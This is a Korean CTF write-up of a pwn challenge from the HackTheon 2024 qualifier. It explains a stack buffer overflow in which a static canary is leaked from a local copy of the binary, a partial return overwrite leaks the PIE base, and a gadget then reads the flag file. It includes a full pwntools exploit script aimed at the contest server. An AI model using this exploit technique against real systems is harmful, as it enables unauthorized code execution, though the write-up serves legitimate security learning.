2024년 4월 27일에 열린 핵테온 예선전에 참가하였다. 이번 대회는 고급과 초급으로 나뉘어서 진행되었는데 문제는 같지만 배점을 다르게 하고 고급에서 20팀, 초급에서 20팀 해서 본선에 40팀이 올라가게 된다. 아쉽게도 예선 탈락을 했다.. 문제 카테고리는 포너블, 웹, 리버싱, 포렌식, 트렌드 가 나왔다. 포너블은 3문제가 나왔으며 작년에 비해 난이도가 꽤 어려웠다.
아쉬운데로 유일하게 풀었던 Intelitigation 문제 라업을 적어볼까 한다.
해당 문제는 제공파일은 주어지지 않았으며 서버로 접속만 가능했다. 접속을 하면 base 64 로 인코딩 된 문자열이 출력됬는데 이를 디코딩 하면 해당 문제의 바이너리를 얻을 수 있다.
바이너리는 다음과 같다.
뭐 별거 없다. 그냥 buffer overflow가 일어난다. 하지만 해당 바이너리는 모든 보호기법이 걸려있고 한 번의 입력으로 카나리 릭과 pie 릭을 하고 ret까지 변조하는 것은 불가능 했고 적어도 canary를 leak하지 않고 어떻게든 알아내야 했다. 그래서 일단 추출한 바이너리를 실행하고 생각없이 canary를 leak해 보았는데 이상하게 실행될때마다 계속 같은 canary 값이 나왔다. 무슨 원리인지는 모르겠지만 그러면 nc로 접속해서 얻은 바이너리에는 카나리가 정적이고 해당 바이너리는 현재 nc로 돌아가는 바이너리이니 둘이 같은 카나리일 것이라 예상했다.
그러면 익스플로잇 시나리오는 다음과 같다.
우선 remote로 접속 후 출력되는 문자열을 파싱 후 base 64 디코딩 후 저장을 한다.
접속을 유지한 채로 만든 binary를 실행해서 canary를 릭한다.
해당 binary에서 얻은 canary로 서버의 canary를 overflow한다.
ret은 다시 main으로 돌아가기 위해서 2니블을 overwrite하여 ret을 main으로 함과 동시에 pie base를 릭한다.
다시 main으로 돌아와서 canary overwrite 후 제공된 파일 출력 함수를 호출한다. 이 함수는 rdi를 인자로 받아서 실행되기에 rdi를 flag 문자열 주소를 가지도록 해야 한다. pop rdi 가젯이 없어서 mov rdi, rsp를 사용했다. exploit 코드는 다음과 같다.
import base64
from pwn import *
def save_binary_from_base64(encoded_data, file_path):
binary_data = base64.b64decode(encoded_data)
with open(file_path, 'wb') as file:
file.write(binary_data)
print(f"Binary data has been saved to {file_path}")
server = 'hto2024-nlb-fa01ec5dc40a5322.elb.ap-northeast-2.amazonaws.com'
context.log_level = 'debug'
r = remote(server, 5001)
r.recvuntil(b'>')
base64_encoded_data = r.recvuntil(b'input')
output_file_path = './abcd'
save_binary_from_base64(base64_encoded_data, output_file_path)
p = process('./abcd')
payload = b'A'*520
p.sendafter(b'>', payload)
p.recvuntil(payload)
canary = u64(p.recvn(8))
print(b'canary : ', hex(canary))
leak = u64(p.recvn(6)+b'\x00'*2)
print(b'leak : ', hex(leak))
p.interactive()
payload = b'A'*520
payload += p64(canary)
payload += b'B'*8
payload += b'\xf2'
#offset = 0x13f2
r.sendafter(b'>', payload)
r.recvuntil(payload)
pie_base = u64(b'\xf2'+r.recv(5)+b'\x00'*2) - 0x13f2
print(b"pie_base = ",hex(pie_base))
start = pie_base + 0x13f2
movrdi = pie_base + 0x13f2 - 0x13e
flag = pie_base + 0x13f2 - 0x1a4
ex = b''
ex += b'a'*520
ex += p64(canary)
ex += b'B'*8
ex += p64(movrdi)
ex += b'flag\x00\x00\x00\x00'
ex += p64(flag)
r.sendafter(b'>', ex)
r.interactive()
문제 서버가 닫혀서 flag를 얻는 부분은 못 보여준다.